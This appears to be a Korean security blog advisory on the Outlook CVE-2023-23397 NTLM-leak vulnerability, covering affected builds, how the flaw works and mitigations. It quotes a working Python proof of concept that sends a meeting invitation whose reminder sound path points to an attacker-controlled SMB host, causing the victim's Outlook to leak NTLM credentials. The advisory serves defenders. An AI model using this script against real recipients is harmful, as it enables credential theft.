1. Microsoft Outlook
- 마이크로소프트 오피스의 구성 요소 (이메일 소프트웨어)
1.1 용어
용어 | 설명 |
MAPI (Messaging Application Programming Interface) |
- 윈도우 응용프로그램(아웃룩 전자 메일 클라이언트) 내에서 전자우편을 보내거나, 자신이 현재 작성중인 문서를 전자우편 내용 위에 첨부할 수 있도록 해주는 등 Exchange 서버의 모든 기능을 완전히 사용할 수 있도록 하는 마이크로소프트의 독점 프로토콜 |
SMB (Server Message Block) |
- 다양한 운영체제 간 자원 공유를 쉽게 해줄 목적으로 만들어진, 네트워크 상 존재하는 노드들 간에 자원을 공유할 수 있도록 설계된 프로토콜 - 네트워크에 연결된 컴퓨터끼리 파일, 프린터, 포트 또는 기타 메시지를 전달하는데 사용 |
UNC (Universal Naming Convention) |
- 공유 파일이 저장되어 있는 장치를 명시하지 않고서도 파일을 확인할 수 있는 방법. - 파일, 폴더, 프린터 및 공유 리소스와 같은 네트워크 리소스를 식별하고 찾기 위해 Microsoft Windows 운영 체제에서 사용되는 명명 시스템 |
NTLM (New-Technology LAN Manager) |
- 윈도우에서 제공하고 있는 인증 프로토콜 중 하나로 Challenge-Response라고 불리는 인증 프로토콜 방식을 사용 - 최근에는 거의 쓰이지 않고 있으며 MS 에서도 사용을 권장하지 않으나, SMB 프로토콜에도 하위호환성을 위해 내장 |
2. 취약점
- Microsoft Outlook에서 발생하는 권한 상승 취약점으로, CVSS 9.8을 할당 받음
- 피해자가 메일을 읽지 않아도 공격자는 피해자의 NTLM 정보를 탈취할 수 있음
- 취약한 버전 목록 [2][3]
※ Android, iOS, Mac과 같은 다른 버전의 Microsoft Outlook과 웹용 Outlook 및 기타 M365 서비스는 영향을 받지 않음
제품명 | 버전 | 빌드 |
Current Channel | Version 2302 | Build 16130.20306 |
Monthly Enterprise Channel | Version 2301 | Build 16026.20238 |
Monthly Enterprise Channel | Version 2212 | Build 15928.20298 |
Semi-Annual Enterprise Channel (Preview) | Version 2301 | Build 16130.20306 |
Semi-Annual Enterprise Channel | Version 2208 | Build 15601.20578 |
Semi-Annual Enterprise Channel | Version 2202 | Build 14931.20944 |
Office 2021 Retail | Version 2301 | Build 16130.20306 |
Office 2019 Retail | Version 2302 | Build 16130.20306 |
Office 2016 Retail | Version 2302 | Build 16130.20306 |
Office LTSC 2021 Volume Licensed | Version 2108 | Build 14332.20481 |
Office 2019 Volume Licensed | Version 1808 | Build 10396.20023 |
2.1 공격 원리 [4][5][6]
- Outlook의 캘린더에는 약속한 일정을 사용자에게 알려주는 '미리 알림' 기능이 존재하며, 약속 기한이 지났을 때도 알림을 발생
- MAPI의 "PidLidReminderFileParameter"는 약속 기한이 지나, 지연 알림에 클라이언트가 재생할 사운드의 파일 경로(UNC)를 지정하는 데 사용됨 [7]
- 또한 "PidLidReminderOverride"는 PidLidReminderFileParameter 값을 신뢰할 것인지 결정 [8]
- 공격자는 메일에 "PidLidReminderFileParameter" 값을 공격자가 제어 가능한 SMB 서버로, "PidLidReminderOverride"을 true로 설정하여 전송
2.2 PoC [9]
- 공격자가 제어하는 SMB서버의 주소를 BAD_ADDRESS 변수에 저장
- send_meeting_request()를 이용해 조작된 메일을 생성 및 전송
#!/usr/bin/env python3
__author__ = "William Golembieski"
__license__ = "Apache License 2.0"
__email__ = "william@armoryanalytics.com"
import win32com.client
OUTLOOK_FORMAT = '%m/%d/%Y %H:%M'
def outlook_date(dt): return dt.strftime(OUTLOOK_FORMAT)
class OutlookClient(object):
def __init__(self):
self.outlook = win32com.client.Dispatch('Outlook.Application')
def send_meeting_request(self, subject, time, location, recipients, body, bad_location):
mtg = self.outlook.CreateItem(1)
mtg.MeetingStatus = 1
mtg.Location = location
for recipient in recipients:
mtg.Recipients.Add(recipient)
mtg.Subject = subject
mtg.Start = outlook_date(time)
mtg.Duration = 60
mtg.ReminderMinutesBeforeStart = 30
mtg.ResponseRequested = False
mtg.Body = body
mtg.ReminderSet = True
mtg.ReminderOverrideDefault = True
mtg.ReminderSoundFile = bad_location
mtg.Save()
mtg.Send()
if __name__ == "__main__":
MEETING_SUBJECT: str = "Test Of CVE-2023-23397"
MEETING_BODY_TEXT: str = "CVE-2023-23397 Test email"
MEETING_LOCATION: str = "Virtual"
MEETING_RECIPIENTS: [str] = [
'user@test.com',
'user2@test.com'
]
# External UNC location
BAD_ADDRESS: str = "\\\\<your>.<bad>.<location>.<here>\\@<port>\\<file>.<extension>"
import datetime
ol = OutlookClient()
# Set meeting time 3 hours from now
meeting_time = datetime.datetime.now() + datetime.timedelta(hours=3)
ol.send_meeting_request(MEETING_SUBJECT, meeting_time, MEETING_LOCATION, MEETING_RECIPIENTS, MEETING_BODY_TEXT,
BAD_ADDRESS)
3. 대응방안
① "PidLidReminderFileParameter"의 값이 UNC로 변경되었는지를 확인하여 피해 여부를 파악
- 3월 15일 Microsoft는 취약점이 Exchange 환경 내에 존재하는지 검사하는 스크립트 CVE-2023-23397.ps1 공개 [10]
⒜ 사전 준비
> Exchange Server (on-premises) : EMS(Exchange 관리 셸)에서 아래 PowerShell 명령을 실행
New-ThrottlingPolicy “CVE-2023-23397-Script”
Set-ThrottlingPolicy “CVE-2023-23397-Script” -EWSMaxConcurrency Unlimited -EWSMaxSubscriptions Unlimited -CPAMaxConcurrency Unlimited -EwsCutoffBalance Unlimited -EwsMaxBurst Unlimited -EwsRechargeRate Unlimited
Set-Mailbox -Identity “<UserWhoRunsTheScript>” -ThrottlingPolicy “CVE-2023-23397-Script”
> Exchange Online : 전역 관리자 또는 응용 프로그램 관리자 권한으로 실행
⒝ 점검 시작
⑴ 감사 모드(Audit Mode) : 스크립트는 속성이 채워진 항목의 세부 정보가 포함된 CSV 파일을 제공
> Exchange Server (on-premises)
Get-Mailbox -ResultSize Unlimited | .\CVE-2023-23397.ps1 -Environment Onprem
> Exchange Online
Get-Mailbox -ResultSize Unlimited | .\CVE-2023-23397.ps1 -Environment “Online”
⑵ 정리 모드(Cleanup Mode) : 스크립트는 속성을 지우거나 항목을 삭제하여 감지된 항목에 대한 정리를 수행
> Exchange Server (on-premises)
.\CVE-2023-23397.ps1 -Environment Onprem -CleanupAction ClearProperty -CleanupInfoFilePath <Path to modified CSV>
> Exchange Online
.\CVE-2023-23397.ps1 -CleanupAction ClearProperty -CleanupInfoFilePath <Path to modified CSV>
② 현재 사용중인 Outlook 버전 확인 후 최신 버전 업데이트 적용 [11]
- Outlook 실행 > 파일 > Office 계정 > Outlook 정보에 표시된 버전 확인
③ 미리 알림 해제
- 옵션 > 고급 > 미리 알림 > ‘미리 알림 표시’ 체크 해제
> 단, 해당 메일을 열어 ‘다음 소리 재생(Play this sound)’을 체크하고 소리를 재생할 시 취약점이 발현됨
④ 업데이트 적용이 불가한 경우 다음의 임시조치 적용
- SMB 포트 차단
> TCP 445/SMB 아웃바운드 트래픽을 차단
- NTLM 인증 사용 차단.
> 보호된 사용자 보안 그룹(Protected Users Security Group)에 계정을 추가해 NTLM을 인증을 사용하지 못하도록 한다.
※ NTLM이 필요한 서비스에 영향을 미칠 수 있으므로 영향도 검토 필요
⑤ 보안 장비에 IoC 등 침해지표 등록
4. 참조
[1] https://nvd.nist.gov/vuln/detail/CVE-2023-23397
[2] https://learn.microsoft.com/en-us/officeupdates/microsoft365-apps-security-updates
[3] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71019&menuNo=205020
[4] https://www.balbix.com/blog/urgent-action-recommended-microsoft-outlook-vulnerability-cve-2023-23397/
[5] https://www.bleepingcomputer.com/news/security/critical-microsoft-outlook-bug-poc-shows-how-easy-it-is-to-exploit/
[6] https://blog.cyble.com/2023/03/16/microsoft-outlook-zero-day-vulnerability-cve-2023-23397-actively-exploited-in-the-wild/
[7] https://learn.microsoft.com/en-us/office/client-developer/outlook/mapi/pidlidreminderfileparameter-canonical-property
[8] https://learn.microsoft.com/en-us/office/client-developer/outlook/mapi/pidlidreminderoverride-canonical-property
[9] https://github.com/BillSkiCO/CVE-2023-23397_EXPLOIT/blob/main/cve-2023-23397.py
[10] https://microsoft.github.io/CSS-Exchange/Security/CVE-2023-23397/
[11] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397
[12] https://www.boannews.com/media/view.asp?idx=115328&page=1&kind=1
[13] https://www.boannews.com/media/view.asp?idx=115278
[14] https://www.boannews.com/media/view.asp?idx=115324
[15] https://zdnet.co.kr/view/?no=20230320103605
'취약점 > Elevation of Privilege' 카테고리의 다른 글
Kubernetes Image Builder 기본 자격 증명 비활성화 취약점 (CVE-2024-9486, CVE-2024-9594) (1) | 2024.10.18 |
---|---|
Ivanti 권한 상승 취약점 (CVE-2024-21888, CVE-2024-21893) (1) | 2024.02.15 |
Cisco IOS XE Software Web UI 권한 상승 취약점 (CVE-2023-20198) (1) | 2023.10.17 |
WordPress WooCommerce Payments 플러그인 권한 상승 취약점 (CVE-2023-28121) (0) | 2023.07.18 |